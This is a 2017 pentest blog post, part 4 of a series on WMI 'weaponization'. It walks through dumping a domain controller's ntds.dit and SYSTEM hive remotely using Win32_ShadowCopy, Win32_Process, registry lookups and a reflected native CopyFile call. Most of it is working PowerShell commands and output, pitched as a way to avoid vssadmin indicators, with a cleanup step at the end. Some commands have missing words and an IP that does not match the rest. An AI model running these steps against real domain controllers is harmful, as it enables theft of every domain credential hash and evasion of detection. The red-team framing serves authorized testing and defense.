Getting Started with WMI Weaponization – Part 4 written by Alexander Polce Leary | April 13, 2017

Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class

Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly. Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs. In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Shadow methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges.

Why would I use this technique?

On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool. This helps to decrease the number of indicator related to the attack. Testing with this method can also to push against blue team’s defense to make sure they can identify slight variations on this common attack.

Let’s See Some Command Examples

Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions. 1. First, map the c$ of the target domain controller. This isn’t required, but can simplify the process.

PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\10.1.1.1\c$" -PSProvider "FileSystem"

Name Used (GB) Free (GB) Provider Root ------S FileSystem \\10.1.1.1\c$

PS C:\windows\system32> s: PS S:\> ls

Directory: \\10.1.1.1\c$

Mode LastWriteTime Length Name ------d---- 2/13/2015 8:27 PM PerfLogs d-r-- 8/26/2016 8:00 PM Program Files d-r-- 6/13/2016 7:00 PM Program Files (x86) d-r-- 12/5/2016 2:38 PM Users d---- 2/5/2017 4:16 PM Windows

2. Then, create a shadow copy of the C:\ drive on the remote domain controller using the Win32_ShadowCopy“ ” class. Note that the new shadow copy has a unique “ShadowId”.

PS S:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','C:\' - ComputerName 10.1.1.1 PS S:\> $wmi __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 2 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 ShadowID : {7DE8D573-A8BFB-41E6-92F6- A34938E432FC} PSComputerName :

3. Next, the “ShadowId” to a string and use it to query the domain controller for information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the to our newly created shadow copy.

PS S:\> $ShadowID = $wmi.ShadowID.ToString()

PS S:\> $ShadowID {7DE8D573-A8FB-41E6-92F6-A34938E432FC}

PS S:\> $ShadowCopy = Get-WmiObject -Query "SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = '$ShadowID'" -ComputerName 10.1.1.1

PS S:\> $ShadowCopy

__GENUS : 2 __CLASS : Win32_ShadowCopy __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621 PSComputerName :

4. Next, convert the “DeviceObject” to a string so it can be used in future WMI queries.

PS S:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString() PS S:\> $DeviceObject \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621

5. Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both.

PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" - ComputerName 10.1.1.1 PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\NTDS\ntds.dit C:\" -ComputerName 10.1.1.1 PS S:\> Copy-Item S:\ntds.dit C:\ PS S:\> Remove-Item S:\ntds.dit PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\config\SYSTEM C:\" - ComputerName 10.1.1.1 PS S:\> Copy-Item S:\SYSTEM.dit C:\ PS S:\> Remove-Item S:\SYSTEM PS S:\> Set-Location C:\ PS C:\> Remove-PSDrive S

But what if the ntds.dit file isn’t stored on the C drive?

Surprise! Sometimes admins put system files in strange places. If you can’t the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry. Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit.

1. To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host.

PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck PS C:\> -Service WinRM

WinRM Security Configuration. This command modifies the TrustedHosts list for the WinRM client. The computers in the TrustedHosts list might not be authenticated. The client might send credential information to these computers. Are you sure that you want to modify this list?

[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y

2. Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path.

PS C:\> Enter-PSSession 10.1.1.1 [10.1.1.1]: PS C:\Users\admin\Documents> Set-Location C:\ [10.1.1.1]: PS C:\> $DitPath = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name "DSA Database file").'DSA Database file' [10.1.1.1]: PS C:\> $DitPath D:\NTDS\ntds.dit

This could also be done remotely via WMI

PS C:\> $Hive = [uint32]2147483650 PS C:\> $Key = "SYSTEM\\CurrentControlSet\\Services\\NTDS\Parameters" PS C:\> $Value = "DSA Database File" PS C:\> $DitPath = (Invoke-WmiMethod -Class StdRegProv -Name GetStringValue -ArguementList $Hive, $Key, $Value - ComputerName 10.1.1.1).sValue PS C:\> $DitPath D:\NTDS\ntds.dit

3. Now that we have the path we’ll create our shadow copy and grab the “DeviceObject” so we can copy the file off.

[10.1.1.1]: PS C:\> $DitRelativePath = $DitPath.Split("\")[1..($DitPath.Length)] -Join "\" [10.1.1.1]: PS C:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','F:\' [10.1.1.1]: PS C:\> $wmi

__GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 2 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 ShadowID : {A6EAFEDD-8FB2-4EBE-A13B- C992C7E2E265} PSComputerName :

[10.1.1.1]: PS C:\> $ShadowID = $wmi.ShadowID.ToString() {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265} [10.1.1.1]: PS C:\> $ShadowCopy = Get-WmiObject -Class Win32_ShadowCopy -Property DeviceObject -Filter "ID = '$($wmi.ShadowID)'" [10.1.1.1]: PS C:\> $ShadowCopy

__GENUS : 2 __CLASS : Win32_ShadowCopy __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641 PSComputerName :

[10.1.1.1]: PS C:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString() [10.1.1.1]: PS C:\> $DeviceObject \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641

4. The native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .. [10.1.1.1]: PS C:\> $mscorlib = [System.Reflection.Assembly]::LoadFile("$([System.Runtim e.InteropServices.RuntimeEnvironment]::GetRuntimeDirecto ry())mscorlib.dll") [10.1.1.1]: PS C:\> $mscorelib

GAC Version Location ------True v4.0.30319 C:\Windows\.NET\Framework64\v4.0.30319\mscorl.. .

5. Next, we instantiate an object from the “Win32.Win32Native” class.

[10.1.1.1]: PS C:\> $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’) [10.1.1.1]: PS C:\> $Win32Native

IsPublic IsSerial Name BaseType ------False False Win32Native System.Object

6. This object will then be used to call the native “CopyFile”.

[10.1.1.1]: PS C:\> $CopyFile = $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’)) [10.1.1.1]: PS C:\> $CopyFile

Name : CopyFile DeclaringType : Microsoft.Win32.Win32Native ReflectedType : Microsoft.Win32.Win32Native MemberType : Method MetadataToken : 100677580 Module : CommonLanguageRuntimeLibrary IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False MethodHandle : System.RuntimeMethodHandle Attributes : PrivateScope, Assembly, Static, HideBySig, PinvokeImpl CallingConvention : Standard ReturnType : System.Boolean ReturnTypeCustomAttributes : Boolean ReturnParameter : Boolean IsGenericMethod : False IsGenericMethodDefinition : False ContainsGenericParameters : False MethodImplementationFlags : PreserveSig IsPublic : False IsPrivate : False IsFamily : False IsAssembly : True IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsFinal : False IsVirtual : False IsHideBySig : True IsAbstract : False IsSpecialName : False IsConstructor : False CustomAttributes : {[System.Runtime.InteropServices.DllImportAttribut e("kernel32.dll", EntryPoint = "CopyFile", CharSet = 4, ExactSpelling = False, SetLastError = True, PreserveSig = True, CallingConvention = 1, BestFitMapping = False, ThrowOnUnmappableChar = False)], [System.Runtime.InteropServices.Preserv eSigAttribute()]}

7. Next we are going to copy the ntds.dit and SYSTEM files to the C:\ drive on the domain controller. The SYSTEM file is also downloaded so the boot key can be extracted to decrypt the ntds.dit file. Note: could also be directly written to a network share the attacker controls.

[10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\$DitRelativePath", "C:\ntds.dit", $false)) True

[10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\Windows\System32\config\SYSTEM", "C:\SYSTEM", $false)) True

8. Now copy our files off of the C:\ drive of the domain controller, and clean up.

[10.1.1.1]: PS C:\> -PSSession PS C:\> New-PSDrive -Name "S" -Root "\\10.4.67.201\c$" - PSProvider "FileSystem" PS C:\> Copy-Item S:\ntds.dit C:\ PS C:\> Remove-Item S:\ntds.dit PS C:\> Copy-Item S:\SYSTEM C:\ PS C:\> Remove-Item S:\SYSTEM PS C:\> Remove-PSDrive "S" After you have the ntds.dit you can parse it offline using a variety of tools.